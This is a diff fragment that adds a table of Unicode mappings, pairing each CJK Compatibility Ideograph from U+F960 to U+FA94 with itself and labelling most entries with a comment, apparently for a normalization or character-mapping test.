+ ["\uF960", "\uF960"], /* CJK COMPATIBILITY IDEOGRAPH-F960 */
+ ["\uF961", "\uF961"], /* CJK COMPATIBILITY IDEOGRAPH-F961 */
+ ["\uF962", "\uF962"], /* CJK COMPATIBILITY IDEOGRAPH-F962 */
+ ["\uF963", "\uF963"], /* CJK COMPATIBILITY IDEOGRAPH-F963 */
+ ["\uF964", "\uF964"], /* CJK COMPATIBILITY IDEOGRAPH-F964 */
+ ["\uF965", "\uF965"], /* CJK COMPATIBILITY IDEOGRAPH-F965 */
+ ["\uF966", "\uF966"], /* CJK COMPATIBILITY IDEOGRAPH-F966 */
+ ["\uF967", "\uF967"], /* CJK COMPATIBILITY IDEOGRAPH-F967 */
+ ["\uF968", "\uF968"], /* CJK COMPATIBILITY IDEOGRAPH-F968 */
+ ["\uF969", "\uF969"], /* CJK COMPATIBILITY IDEOGRAPH-F969 */
+ ["\uF96A", "\uF96A"], /* CJK COMPATIBILITY IDEOGRAPH-F96A */
+ ["\uF96B", "\uF96B"], /* CJK COMPATIBILITY IDEOGRAPH-F96B */
+ ["\uF96C", "\uF96C"], /* CJK COMPATIBILITY IDEOGRAPH-F96C */
+ ["\uF96D", "\uF96D"], /* CJK COMPATIBILITY IDEOGRAPH-F96D */
+ ["\uF96E", "\uF96E"], /* CJK COMPATIBILITY IDEOGRAPH-F96E */
+ ["\uF96F", "\uF96F"], /* CJK COMPATIBILITY IDEOGRAPH-F96F */
+ ["\uF970", "\uF970"], /* CJK COMPATIBILITY IDEOGRAPH-F970 */
+ ["\uF971", "\uF971"], /* CJK COMPATIBILITY IDEOGRAPH-F971 */
+ ["\uF972", "\uF972"], /* CJK COMPATIBILITY IDEOGRAPH-F972 */
+ ["\uF973", "\uF973"], /* CJK COMPATIBILITY IDEOGRAPH-F973 */
+ ["\uF974", "\uF974"], /* CJK COMPATIBILITY IDEOGRAPH-F974 */
+ ["\uF975", "\uF975"], /* CJK COMPATIBILITY IDEOGRAPH-F975 */
+ ["\uF976", "\uF976"], /* CJK COMPATIBILITY IDEOGRAPH-F976 */
+ ["\uF977", "\uF977"], /* CJK COMPATIBILITY IDEOGRAPH-F977 */
+ ["\uF978", "\uF978"], /* CJK COMPATIBILITY IDEOGRAPH-F978 */
+ ["\uF979", "\uF979"], /* CJK COMPATIBILITY IDEOGRAPH-F979 */
+ ["\uF97A", "\uF97A"], /* CJK COMPATIBILITY IDEOGRAPH-F97A */
+ ["\uF97B", "\uF97B"], /* CJK COMPATIBILITY IDEOGRAPH-F97B */
+ ["\uF97C", "\uF97C"], /* CJK COMPATIBILITY IDEOGRAPH-F97C */
+ ["\uF97D", "\uF97D"], /* CJK COMPATIBILITY IDEOGRAPH-F97D */
+ ["\uF97E", "\uF97E"], /* CJK COMPATIBILITY IDEOGRAPH-F97E */
+ ["\uF97F", "\uF97F"], /* CJK COMPATIBILITY IDEOGRAPH-F97F */
+ ["\uF980", "\uF980"], /* CJK COMPATIBILITY IDEOGRAPH-F980 */
+ ["\uF981", "\uF981"], /* CJK COMPATIBILITY IDEOGRAPH-F981 */
+ ["\uF982", "\uF982"], /* CJK COMPATIBILITY IDEOGRAPH-F982 */
+ ["\uF983", "\uF983"], /* CJK COMPATIBILITY IDEOGRAPH-F983 */
+ ["\uF984", "\uF984"], /* CJK COMPATIBILITY IDEOGRAPH-F984 */
+ ["\uF985", "\uF985"], /* CJK COMPATIBILITY IDEOGRAPH-F985 */
+ ["\uF986", "\uF986"], /* CJK COMPATIBILITY IDEOGRAPH-F986 */
+ ["\uF987", "\uF987"], /* CJK COMPATIBILITY IDEOGRAPH-F987 */
+ ["\uF988", "\uF988"], /* CJK COMPATIBILITY IDEOGRAPH-F988 */
+ ["\uF989", "\uF989"], /* CJK COMPATIBILITY IDEOGRAPH-F989 */
+ ["\uF98A", "\uF98A"], /* CJK COMPATIBILITY IDEOGRAPH-F98A */
+ ["\uF98B", "\uF98B"], /* CJK COMPATIBILITY IDEOGRAPH-F98B */
+ ["\uF98C", "\uF98C"], /* CJK COMPATIBILITY IDEOGRAPH-F98C */
+ ["\uF98D", "\uF98D"], /* CJK COMPATIBILITY IDEOGRAPH-F98D */
+ ["\uF98E", "\uF98E"], /* CJK COMPATIBILITY IDEOGRAPH-F98E */
+ ["\uF98F", "\uF98F"], /* CJK COMPATIBILITY IDEOGRAPH-F98F */
+ ["\uF990", "\uF990"], /* CJK COMPATIBILITY IDEOGRAPH-F990 */
+ ["\uF991", "\uF991"], /* CJK COMPATIBILITY IDEOGRAPH-F991 */
+ ["\uF992", "\uF992"], /* CJK COMPATIBILITY IDEOGRAPH-F992 */
+ ["\uF993", "\uF993"], /* CJK COMPATIBILITY IDEOGRAPH-F993 */
+ ["\uF994", "\uF994"], /* CJK COMPATIBILITY IDEOGRAPH-F994 */
+ ["\uF995", "\uF995"], /* CJK COMPATIBILITY IDEOGRAPH-F995 */
+ ["\uF996", "\uF996"], /* CJK COMPATIBILITY IDEOGRAPH-F996 */
+ ["\uF997", "\uF997"], /* CJK COMPATIBILITY IDEOGRAPH-F997 */
+ ["\uF998", "\uF998"], /* CJK COMPATIBILITY IDEOGRAPH-F998 */
+ ["\uF999", "\uF999"], /* CJK COMPATIBILITY IDEOGRAPH-F999 */
+ ["\uF99A", "\uF99A"], /* CJK COMPATIBILITY IDEOGRAPH-F99A */
+ ["\uF99B", "\uF99B"], /* CJK COMPATIBILITY IDEOGRAPH-F99B */
+ ["\uF99C", "\uF99C"], /* CJK COMPATIBILITY IDEOGRAPH-F99C */
+ ["\uF99D", "\uF99D"], /* CJK COMPATIBILITY IDEOGRAPH-F99D */
+ ["\uF99E", "\uF99E"], /* CJK COMPATIBILITY IDEOGRAPH-F99E */
+ ["\uF99F", "\uF99F"], /* CJK COMPATIBILITY IDEOGRAPH-F99F */
+ ["\uF9A0", "\uF9A0"], /* CJK COMPATIBILITY IDEOGRAPH-F9A0 */
+ ["\uF9A1", "\uF9A1"], /* CJK COMPATIBILITY IDEOGRAPH-F9A1 */
+ ["\uF9A2", "\uF9A2"], /* CJK COMPATIBILITY IDEOGRAPH-F9A2 */
+ ["\uF9A3", "\uF9A3"], /* CJK COMPATIBILITY IDEOGRAPH-F9A3 */
+ ["\uF9A4", "\uF9A4"], /* CJK COMPATIBILITY IDEOGRAPH-F9A4 */
+ ["\uF9A5", "\uF9A5"], /* CJK COMPATIBILITY IDEOGRAPH-F9A5 */
+ ["\uF9A6", "\uF9A6"], /* CJK COMPATIBILITY IDEOGRAPH-F9A6 */
+ ["\uF9A7", "\uF9A7"], /* CJK COMPATIBILITY IDEOGRAPH-F9A7 */
+ ["\uF9A8", "\uF9A8"], /* CJK COMPATIBILITY IDEOGRAPH-F9A8 */
+ ["\uF9A9", "\uF9A9"], /* CJK COMPATIBILITY IDEOGRAPH-F9A9 */
+ ["\uF9AA", "\uF9AA"], /* CJK COMPATIBILITY IDEOGRAPH-F9AA */
+ ["\uF9AB", "\uF9AB"], /* CJK COMPATIBILITY IDEOGRAPH-F9AB */
+ ["\uF9AC", "\uF9AC"], /* CJK COMPATIBILITY IDEOGRAPH-F9AC */
+ ["\uF9AD", "\uF9AD"], /* CJK COMPATIBILITY IDEOGRAPH-F9AD */
+ ["\uF9AE", "\uF9AE"], /* CJK COMPATIBILITY IDEOGRAPH-F9AE */
+ ["\uF9AF", "\uF9AF"], /* CJK COMPATIBILITY IDEOGRAPH-F9AF */
+ ["\uF9B0", "\uF9B0"], /* CJK COMPATIBILITY IDEOGRAPH-F9B0 */
+ ["\uF9B1", "\uF9B1"], /* CJK COMPATIBILITY IDEOGRAPH-F9B1 */
+ ["\uF9B2", "\uF9B2"], /* CJK COMPATIBILITY IDEOGRAPH-F9B2 */
+ ["\uF9B3", "\uF9B3"], /* CJK COMPATIBILITY IDEOGRAPH-F9B3 */
+ ["\uF9B4", "\uF9B4"], /* CJK COMPATIBILITY IDEOGRAPH-F9B4 */
+ ["\uF9B5", "\uF9B5"], /* CJK COMPATIBILITY IDEOGRAPH-F9B5 */
+ ["\uF9B6", "\uF9B6"], /* CJK COMPATIBILITY IDEOGRAPH-F9B6 */
+ ["\uF9B7", "\uF9B7"], /* CJK COMPATIBILITY IDEOGRAPH-F9B7 */
+ ["\uF9B8", "\uF9B8"], /* CJK COMPATIBILITY IDEOGRAPH-F9B8 */
+ ["\uF9B9", "\uF9B9"], /* CJK COMPATIBILITY IDEOGRAPH-F9B9 */
+ ["\uF9BA", "\uF9BA"], /* CJK COMPATIBILITY IDEOGRAPH-F9BA */
+ ["\uF9BB", "\uF9BB"], /* CJK COMPATIBILITY IDEOGRAPH-F9BB */
+ ["\uF9BC", "\uF9BC"], /* CJK COMPATIBILITY IDEOGRAPH-F9BC */
+ ["\uF9BD", "\uF9BD"], /* CJK COMPATIBILITY IDEOGRAPH-F9BD */
+ ["\uF9BE", "\uF9BE"], /* CJK COMPATIBILITY IDEOGRAPH-F9BE */
+ ["\uF9BF", "\uF9BF"], /* CJK COMPATIBILITY IDEOGRAPH-F9BF */
+ ["\uF9C0", "\uF9C0"], /* CJK COMPATIBILITY IDEOGRAPH-F9C0 */
+ ["\uF9C1", "\uF9C1"], /* CJK COMPATIBILITY IDEOGRAPH-F9C1 */
+ ["\uF9C2", "\uF9C2"], /* CJK COMPATIBILITY IDEOGRAPH-F9C2 */
+ ["\uF9C3", "\uF9C3"], /* CJK COMPATIBILITY IDEOGRAPH-F9C3 */
+ ["\uF9C4", "\uF9C4"], /* CJK COMPATIBILITY IDEOGRAPH-F9C4 */
+ ["\uF9C5", "\uF9C5"], /* CJK COMPATIBILITY IDEOGRAPH-F9C5 */
+ ["\uF9C6", "\uF9C6"], /* CJK COMPATIBILITY IDEOGRAPH-F9C6 */
+ ["\uF9C7", "\uF9C7"], /* CJK COMPATIBILITY IDEOGRAPH-F9C7 */
+ ["\uF9C8", "\uF9C8"], /* CJK COMPATIBILITY IDEOGRAPH-F9C8 */
+ ["\uF9C9", "\uF9C9"], /* CJK COMPATIBILITY IDEOGRAPH-F9C9 */
+ ["\uF9CA", "\uF9CA"], /* CJK COMPATIBILITY IDEOGRAPH-F9CA */
+ ["\uF9CB", "\uF9CB"], /* CJK COMPATIBILITY IDEOGRAPH-F9CB */
+ ["\uF9CC", "\uF9CC"], /* CJK COMPATIBILITY IDEOGRAPH-F9CC */
+ ["\uF9CD", "\uF9CD"], /* CJK COMPATIBILITY IDEOGRAPH-F9CD */
+ ["\uF9CE", "\uF9CE"], /* CJK COMPATIBILITY IDEOGRAPH-F9CE */
+ ["\uF9CF", "\uF9CF"], /* CJK COMPATIBILITY IDEOGRAPH-F9CF */
+ ["\uF9D0", "\uF9D0"], /* CJK COMPATIBILITY IDEOGRAPH-F9D0 */
+ ["\uF9D1", "\uF9D1"], /* CJK COMPATIBILITY IDEOGRAPH-F9D1 */
+ ["\uF9D2", "\uF9D2"], /* CJK COMPATIBILITY IDEOGRAPH-F9D2 */
+ ["\uF9D3", "\uF9D3"], /* CJK COMPATIBILITY IDEOGRAPH-F9D3 */
+ ["\uF9D4", "\uF9D4"], /* CJK COMPATIBILITY IDEOGRAPH-F9D4 */
+ ["\uF9D5", "\uF9D5"], /* CJK COMPATIBILITY IDEOGRAPH-F9D5 */
+ ["\uF9D6", "\uF9D6"], /* CJK COMPATIBILITY IDEOGRAPH-F9D6 */
+ ["\uF9D7", "\uF9D7"], /* CJK COMPATIBILITY IDEOGRAPH-F9D7 */
+ ["\uF9D8", "\uF9D8"], /* CJK COMPATIBILITY IDEOGRAPH-F9D8 */
+ ["\uF9D9", "\uF9D9"], /* CJK COMPATIBILITY IDEOGRAPH-F9D9 */
+ ["\uF9DA", "\uF9DA"], /* CJK COMPATIBILITY IDEOGRAPH-F9DA */
+ ["\uF9DB", "\uF9DB"], /* CJK COMPATIBILITY IDEOGRAPH-F9DB */
+ ["\uF9DC", "\uF9DC"], /* CJK COMPATIBILITY IDEOGRAPH-F9DC */
+ ["\uF9DD", "\uF9DD"], /* CJK COMPATIBILITY IDEOGRAPH-F9DD */
+ ["\uF9DE", "\uF9DE"], /* CJK COMPATIBILITY IDEOGRAPH-F9DE */
+ ["\uF9DF", "\uF9DF"], /* CJK COMPATIBILITY IDEOGRAPH-F9DF */
+ ["\uF9E0", "\uF9E0"], /* CJK COMPATIBILITY IDEOGRAPH-F9E0 */
+ ["\uF9E1", "\uF9E1"], /* CJK COMPATIBILITY IDEOGRAPH-F9E1 */
+ ["\uF9E2", "\uF9E2"], /* CJK COMPATIBILITY IDEOGRAPH-F9E2 */
+ ["\uF9E3", "\uF9E3"], /* CJK COMPATIBILITY IDEOGRAPH-F9E3 */
+ ["\uF9E4", "\uF9E4"], /* CJK COMPATIBILITY IDEOGRAPH-F9E4 */
+ ["\uF9E5", "\uF9E5"], /* CJK COMPATIBILITY IDEOGRAPH-F9E5 */
+ ["\uF9E6", "\uF9E6"], /* CJK COMPATIBILITY IDEOGRAPH-F9E6 */
+ ["\uF9E7", "\uF9E7"], /* CJK COMPATIBILITY IDEOGRAPH-F9E7 */
+ ["\uF9E8", "\uF9E8"], /* CJK COMPATIBILITY IDEOGRAPH-F9E8 */
+ ["\uF9E9", "\uF9E9"], /* CJK COMPATIBILITY IDEOGRAPH-F9E9 */
+ ["\uF9EA", "\uF9EA"], /* CJK COMPATIBILITY IDEOGRAPH-F9EA */
+ ["\uF9EB", "\uF9EB"], /* CJK COMPATIBILITY IDEOGRAPH-F9EB */
+ ["\uF9EC", "\uF9EC"], /* CJK COMPATIBILITY IDEOGRAPH-F9EC */
+ ["\uF9ED", "\uF9ED"], /* CJK COMPATIBILITY IDEOGRAPH-F9ED */
+ ["\uF9EE", "\uF9EE"], /* CJK COMPATIBILITY IDEOGRAPH-F9EE */
+ ["\uF9EF", "\uF9EF"], /* CJK COMPATIBILITY IDEOGRAPH-F9EF */
+ ["\uF9F0", "\uF9F0"], /* CJK COMPATIBILITY IDEOGRAPH-F9F0 */
+ ["\uF9F1", "\uF9F1"], /* CJK COMPATIBILITY IDEOGRAPH-F9F1 */
+ ["\uF9F2", "\uF9F2"], /* CJK COMPATIBILITY IDEOGRAPH-F9F2 */
+ ["\uF9F3", "\uF9F3"], /* CJK COMPATIBILITY IDEOGRAPH-F9F3 */
+ ["\uF9F4", "\uF9F4"], /* CJK COMPATIBILITY IDEOGRAPH-F9F4 */
+ ["\uF9F5", "\uF9F5"], /* CJK COMPATIBILITY IDEOGRAPH-F9F5 */
+ ["\uF9F6", "\uF9F6"], /* CJK COMPATIBILITY IDEOGRAPH-F9F6 */
+ ["\uF9F7", "\uF9F7"], /* CJK COMPATIBILITY IDEOGRAPH-F9F7 */
+ ["\uF9F8", "\uF9F8"], /* CJK COMPATIBILITY IDEOGRAPH-F9F8 */
+ ["\uF9F9", "\uF9F9"], /* CJK COMPATIBILITY IDEOGRAPH-F9F9 */
+ ["\uF9FA", "\uF9FA"], /* CJK COMPATIBILITY IDEOGRAPH-F9FA */
+ ["\uF9FB", "\uF9FB"], /* CJK COMPATIBILITY IDEOGRAPH-F9FB */
+ ["\uF9FC", "\uF9FC"], /* CJK COMPATIBILITY IDEOGRAPH-F9FC */
+ ["\uF9FD", "\uF9FD"], /* CJK COMPATIBILITY IDEOGRAPH-F9FD */
+ ["\uF9FE", "\uF9FE"], /* CJK COMPATIBILITY IDEOGRAPH-F9FE */
+ ["\uF9FF", "\uF9FF"], /* CJK COMPATIBILITY IDEOGRAPH-F9FF */
+ ["\uFA00", "\uFA00"], /* CJK COMPATIBILITY IDEOGRAPH-FA00 */
+ ["\uFA01", "\uFA01"], /* CJK COMPATIBILITY IDEOGRAPH-FA01 */
+ ["\uFA02", "\uFA02"], /* CJK COMPATIBILITY IDEOGRAPH-FA02 */
+ ["\uFA03", "\uFA03"], /* CJK COMPATIBILITY IDEOGRAPH-FA03 */
+ ["\uFA04", "\uFA04"], /* CJK COMPATIBILITY IDEOGRAPH-FA04 */
+ ["\uFA05", "\uFA05"], /* CJK COMPATIBILITY IDEOGRAPH-FA05 */
+ ["\uFA06", "\uFA06"], /* CJK COMPATIBILITY IDEOGRAPH-FA06 */
+ ["\uFA07", "\uFA07"], /* CJK COMPATIBILITY IDEOGRAPH-FA07 */
+ ["\uFA08", "\uFA08"], /* CJK COMPATIBILITY IDEOGRAPH-FA08 */
+ ["\uFA09", "\uFA09"], /* CJK COMPATIBILITY IDEOGRAPH-FA09 */
+ ["\uFA0A", "\uFA0A"], /* CJK COMPATIBILITY IDEOGRAPH-FA0A */
+ ["\uFA0B", "\uFA0B"], /* CJK COMPATIBILITY IDEOGRAPH-FA0B */
+ ["\uFA0C", "\uFA0C"], /* CJK COMPATIBILITY IDEOGRAPH-FA0C */
+ ["\uFA0D", "\uFA0D"], /* CJK COMPATIBILITY IDEOGRAPH-FA0D */
+ ["\uFA0E", "\uFA0E"], /* CJK COMPATIBILITY IDEOGRAPH-FA0E */
+ ["\uFA0F", "\uFA0F"], /* CJK COMPATIBILITY IDEOGRAPH-FA0F */
+ ["\uFA10", "\uFA10"], /* CJK COMPATIBILITY IDEOGRAPH-FA10 */
+ ["\uFA11", "\uFA11"], /* CJK COMPATIBILITY IDEOGRAPH-FA11 */
+ ["\uFA12", "\uFA12"], /* CJK COMPATIBILITY IDEOGRAPH-FA12 */
+ ["\uFA13", "\uFA13"], /* CJK COMPATIBILITY IDEOGRAPH-FA13 */
+ ["\uFA14", "\uFA14"], /* CJK COMPATIBILITY IDEOGRAPH-FA14 */
+ ["\uFA15", "\uFA15"], /* CJK COMPATIBILITY IDEOGRAPH-FA15 */
+ ["\uFA16", "\uFA16"], /* CJK COMPATIBILITY IDEOGRAPH-FA16 */
+ ["\uFA17", "\uFA17"], /* CJK COMPATIBILITY IDEOGRAPH-FA17 */
+ ["\uFA18", "\uFA18"], /* CJK COMPATIBILITY IDEOGRAPH-FA18 */
+ ["\uFA19", "\uFA19"], /* CJK COMPATIBILITY IDEOGRAPH-FA19 */
+ ["\uFA1A", "\uFA1A"], /* CJK COMPATIBILITY IDEOGRAPH-FA1A */
+ ["\uFA1B", "\uFA1B"], /* CJK COMPATIBILITY IDEOGRAPH-FA1B */
+ ["\uFA1C", "\uFA1C"], /* CJK COMPATIBILITY IDEOGRAPH-FA1C */
+ ["\uFA1D", "\uFA1D"], /* CJK COMPATIBILITY IDEOGRAPH-FA1D */
+ ["\uFA1E", "\uFA1E"], /* CJK COMPATIBILITY IDEOGRAPH-FA1E */
+ ["\uFA1F", "\uFA1F"], /* CJK COMPATIBILITY IDEOGRAPH-FA1F */
+ ["\uFA20", "\uFA20"], /* CJK COMPATIBILITY IDEOGRAPH-FA20 */
+ ["\uFA21", "\uFA21"], /* CJK COMPATIBILITY IDEOGRAPH-FA21 */
+ ["\uFA22", "\uFA22"], /* CJK COMPATIBILITY IDEOGRAPH-FA22 */
+ ["\uFA23", "\uFA23"], /* CJK COMPATIBILITY IDEOGRAPH-FA23 */
+ ["\uFA24", "\uFA24"], /* CJK COMPATIBILITY IDEOGRAPH-FA24 */
+ ["\uFA25", "\uFA25"], /* CJK COMPATIBILITY IDEOGRAPH-FA25 */
+ ["\uFA26", "\uFA26"], /* CJK COMPATIBILITY IDEOGRAPH-FA26 */
+ ["\uFA27", "\uFA27"], /* CJK COMPATIBILITY IDEOGRAPH-FA27 */
+ ["\uFA28", "\uFA28"], /* CJK COMPATIBILITY IDEOGRAPH-FA28 */
+ ["\uFA29", "\uFA29"], /* CJK COMPATIBILITY IDEOGRAPH-FA29 */
+ ["\uFA2A", "\uFA2A"], /* CJK COMPATIBILITY IDEOGRAPH-FA2A */
+ ["\uFA2B", "\uFA2B"], /* CJK COMPATIBILITY IDEOGRAPH-FA2B */
+ ["\uFA2C", "\uFA2C"], /* CJK COMPATIBILITY IDEOGRAPH-FA2C */
+ ["\uFA2D", "\uFA2D"], /* CJK COMPATIBILITY IDEOGRAPH-FA2D */
+ ["\uFA2E", "\uFA2E"], /* CJK COMPATIBILITY IDEOGRAPH-FA2E */
+ ["\uFA2F", "\uFA2F"], /* CJK COMPATIBILITY IDEOGRAPH-FA2F */
+ ["\uFA30", "\uFA30"], /* CJK COMPATIBILITY IDEOGRAPH-FA30 */
+ ["\uFA31", "\uFA31"], /* CJK COMPATIBILITY IDEOGRAPH-FA31 */
+ ["\uFA32", "\uFA32"], /* CJK COMPATIBILITY IDEOGRAPH-FA32 */
+ ["\uFA33", "\uFA33"], /* CJK COMPATIBILITY IDEOGRAPH-FA33 */
+ ["\uFA34", "\uFA34"], /* CJK COMPATIBILITY IDEOGRAPH-FA34 */
+ ["\uFA35", "\uFA35"], /* CJK COMPATIBILITY IDEOGRAPH-FA35 */
+ ["\uFA36", "\uFA36"], /* CJK COMPATIBILITY IDEOGRAPH-FA36 */
+ ["\uFA37", "\uFA37"], /* CJK COMPATIBILITY IDEOGRAPH-FA37 */
+ ["\uFA38", "\uFA38"], /* CJK COMPATIBILITY IDEOGRAPH-FA38 */
+ ["\uFA39", "\uFA39"], /* CJK COMPATIBILITY IDEOGRAPH-FA39 */
+ ["\uFA3A", "\uFA3A"], /* CJK COMPATIBILITY IDEOGRAPH-FA3A */
+ ["\uFA3B", "\uFA3B"], /* CJK COMPATIBILITY IDEOGRAPH-FA3B */
+ ["\uFA3C", "\uFA3C"], /* CJK COMPATIBILITY IDEOGRAPH-FA3C */
+ ["\uFA3D", "\uFA3D"], /* CJK COMPATIBILITY IDEOGRAPH-FA3D */
+ ["\uFA3E", "\uFA3E"], /* CJK COMPATIBILITY IDEOGRAPH-FA3E */
+ ["\uFA3F", "\uFA3F"], /* CJK COMPATIBILITY IDEOGRAPH-FA3F */
+ ["\uFA40", "\uFA40"], /* CJK COMPATIBILITY IDEOGRAPH-FA40 */
+ ["\uFA41", "\uFA41"], /* CJK COMPATIBILITY IDEOGRAPH-FA41 */
+ ["\uFA42", "\uFA42"], /* CJK COMPATIBILITY IDEOGRAPH-FA42 */
+ ["\uFA43", "\uFA43"], /* CJK COMPATIBILITY IDEOGRAPH-FA43 */
+ ["\uFA44", "\uFA44"], /* CJK COMPATIBILITY IDEOGRAPH-FA44 */
+ ["\uFA45", "\uFA45"], /* CJK COMPATIBILITY IDEOGRAPH-FA45 */
+ ["\uFA46", "\uFA46"], /* CJK COMPATIBILITY IDEOGRAPH-FA46 */
+ ["\uFA47", "\uFA47"], /* CJK COMPATIBILITY IDEOGRAPH-FA47 */
+ ["\uFA48", "\uFA48"], /* CJK COMPATIBILITY IDEOGRAPH-FA48 */
+ ["\uFA49", "\uFA49"], /* CJK COMPATIBILITY IDEOGRAPH-FA49 */
+ ["\uFA4A", "\uFA4A"], /* CJK COMPATIBILITY IDEOGRAPH-FA4A */
+ ["\uFA4B", "\uFA4B"], /* CJK COMPATIBILITY IDEOGRAPH-FA4B */
+ ["\uFA4C", "\uFA4C"], /* CJK COMPATIBILITY IDEOGRAPH-FA4C */
+ ["\uFA4D", "\uFA4D"], /* CJK COMPATIBILITY IDEOGRAPH-FA4D */
+ ["\uFA4E", "\uFA4E"], /* CJK COMPATIBILITY IDEOGRAPH-FA4E */
+ ["\uFA4F", "\uFA4F"], /* CJK COMPATIBILITY IDEOGRAPH-FA4F */
+ ["\uFA50", "\uFA50"], /* CJK COMPATIBILITY IDEOGRAPH-FA50 */
+ ["\uFA51", "\uFA51"], /* CJK COMPATIBILITY IDEOGRAPH-FA51 */
+ ["\uFA52", "\uFA52"], /* CJK COMPATIBILITY IDEOGRAPH-FA52 */
+ ["\uFA53", "\uFA53"], /* CJK COMPATIBILITY IDEOGRAPH-FA53 */
+ ["\uFA54", "\uFA54"], /* CJK COMPATIBILITY IDEOGRAPH-FA54 */
+ ["\uFA55", "\uFA55"], /* CJK COMPATIBILITY IDEOGRAPH-FA55 */
+ ["\uFA56", "\uFA56"], /* CJK COMPATIBILITY IDEOGRAPH-FA56 */
+ ["\uFA57", "\uFA57"], /* CJK COMPATIBILITY IDEOGRAPH-FA57 */
+ ["\uFA58", "\uFA58"], /* CJK COMPATIBILITY IDEOGRAPH-FA58 */
+ ["\uFA59", "\uFA59"], /* CJK COMPATIBILITY IDEOGRAPH-FA59 */
+ ["\uFA5A", "\uFA5A"], /* CJK COMPATIBILITY IDEOGRAPH-FA5A */
+ ["\uFA5B", "\uFA5B"], /* CJK COMPATIBILITY IDEOGRAPH-FA5B */
+ ["\uFA5C", "\uFA5C"], /* CJK COMPATIBILITY IDEOGRAPH-FA5C */
+ ["\uFA5D", "\uFA5D"], /* CJK COMPATIBILITY IDEOGRAPH-FA5D */
+ ["\uFA5E", "\uFA5E"], /* CJK COMPATIBILITY IDEOGRAPH-FA5E */
+ ["\uFA5F", "\uFA5F"], /* CJK COMPATIBILITY IDEOGRAPH-FA5F */
+ ["\uFA60", "\uFA60"], /* CJK COMPATIBILITY IDEOGRAPH-FA60 */
+ ["\uFA61", "\uFA61"], /* CJK COMPATIBILITY IDEOGRAPH-FA61 */
+ ["\uFA62", "\uFA62"], /* CJK COMPATIBILITY IDEOGRAPH-FA62 */
+ ["\uFA63", "\uFA63"], /* CJK COMPATIBILITY IDEOGRAPH-FA63 */
+ ["\uFA64", "\uFA64"], /* CJK COMPATIBILITY IDEOGRAPH-FA64 */
+ ["\uFA65", "\uFA65"], /* CJK COMPATIBILITY IDEOGRAPH-FA65 */
+ ["\uFA66", "\uFA66"], /* CJK COMPATIBILITY IDEOGRAPH-FA66 */
+ ["\uFA67", "\uFA67"], /* CJK COMPATIBILITY IDEOGRAPH-FA67 */
+ ["\uFA68", "\uFA68"], /* CJK COMPATIBILITY IDEOGRAPH-FA68 */
+ ["\uFA69", "\uFA69"], /* CJK COMPATIBILITY IDEOGRAPH-FA69 */
+ ["\uFA6A", "\uFA6A"], /* CJK COMPATIBILITY IDEOGRAPH-FA6A */
+ ["\uFA6B", "\uFA6B"], /* CJK COMPATIBILITY IDEOGRAPH-FA6B */
+ ["\uFA6C", "\uFA6C"], /* CJK COMPATIBILITY IDEOGRAPH-FA6C */
+ ["\uFA6D", "\uFA6D"], /* CJK COMPATIBILITY IDEOGRAPH-FA6D */
+ ["\uFA6E", "\uFA6E"],
+ ["\uFA6F", "\uFA6F"],
+ ["\uFA70", "\uFA70"], /* CJK COMPATIBILITY IDEOGRAPH-FA70 */
+ ["\uFA71", "\uFA71"], /* CJK COMPATIBILITY IDEOGRAPH-FA71 */
+ ["\uFA72", "\uFA72"], /* CJK COMPATIBILITY IDEOGRAPH-FA72 */
+ ["\uFA73", "\uFA73"], /* CJK COMPATIBILITY IDEOGRAPH-FA73 */
+ ["\uFA74", "\uFA74"], /* CJK COMPATIBILITY IDEOGRAPH-FA74 */
+ ["\uFA75", "\uFA75"], /* CJK COMPATIBILITY IDEOGRAPH-FA75 */
+ ["\uFA76", "\uFA76"], /* CJK COMPATIBILITY IDEOGRAPH-FA76 */
+ ["\uFA77", "\uFA77"], /* CJK COMPATIBILITY IDEOGRAPH-FA77 */
+ ["\uFA78", "\uFA78"], /* CJK COMPATIBILITY IDEOGRAPH-FA78 */
+ ["\uFA79", "\uFA79"], /* CJK COMPATIBILITY IDEOGRAPH-FA79 */
+ ["\uFA7A", "\uFA7A"], /* CJK COMPATIBILITY IDEOGRAPH-FA7A */
+ ["\uFA7B", "\uFA7B"], /* CJK COMPATIBILITY IDEOGRAPH-FA7B */
+ ["\uFA7C", "\uFA7C"], /* CJK COMPATIBILITY IDEOGRAPH-FA7C */
+ ["\uFA7D", "\uFA7D"], /* CJK COMPATIBILITY IDEOGRAPH-FA7D */
+ ["\uFA7E", "\uFA7E"], /* CJK COMPATIBILITY IDEOGRAPH-FA7E */
+ ["\uFA7F", "\uFA7F"], /* CJK COMPATIBILITY IDEOGRAPH-FA7F */
+ ["\uFA80", "\uFA80"], /* CJK COMPATIBILITY IDEOGRAPH-FA80 */
+ ["\uFA81", "\uFA81"], /* CJK COMPATIBILITY IDEOGRAPH-FA81 */
+ ["\uFA82", "\uFA82"], /* CJK COMPATIBILITY IDEOGRAPH-FA82 */
+ ["\uFA83", "\uFA83"], /* CJK COMPATIBILITY IDEOGRAPH-FA83 */
+ ["\uFA84", "\uFA84"], /* CJK COMPATIBILITY IDEOGRAPH-FA84 */
+ ["\uFA85", "\uFA85"], /* CJK COMPATIBILITY IDEOGRAPH-FA85 */
+ ["\uFA86", "\uFA86"], /* CJK COMPATIBILITY IDEOGRAPH-FA86 */
+ ["\uFA87", "\uFA87"], /* CJK COMPATIBILITY IDEOGRAPH-FA87 */
+ ["\uFA88", "\uFA88"], /* CJK COMPATIBILITY IDEOGRAPH-FA88 */
+ ["\uFA89", "\uFA89"], /* CJK COMPATIBILITY IDEOGRAPH-FA89 */
+ ["\uFA8A", "\uFA8A"], /* CJK COMPATIBILITY IDEOGRAPH-FA8A */
+ ["\uFA8B", "\uFA8B"], /* CJK COMPATIBILITY IDEOGRAPH-FA8B */
+ ["\uFA8C", "\uFA8C"], /* CJK COMPATIBILITY IDEOGRAPH-FA8C */
+ ["\uFA8D", "\uFA8D"], /* CJK COMPATIBILITY IDEOGRAPH-FA8D */
+ ["\uFA8E", "\uFA8E"], /* CJK COMPATIBILITY IDEOGRAPH-FA8E */
+ ["\uFA8F", "\uFA8F"], /* CJK COMPATIBILITY IDEOGRAPH-FA8F */
+ ["\uFA90", "\uFA90"], /* CJK COMPATIBILITY IDEOGRAPH-FA90 */
+ ["\uFA91", "\uFA91"], /* CJK COMPATIBILITY IDEOGRAPH-FA91 */
+ ["\uFA92", "\uFA92"], /* CJK COMPATIBILITY IDEOGRAPH-FA92 */
+ ["\uFA93", "\uFA93"], /* CJK COMPATIBILITY IDEOGRAPH-FA93 */
+ ["\uFA94", "\uFA94"], /* CJK COMPATIBILITY IDEOGRAPH-FA94 */
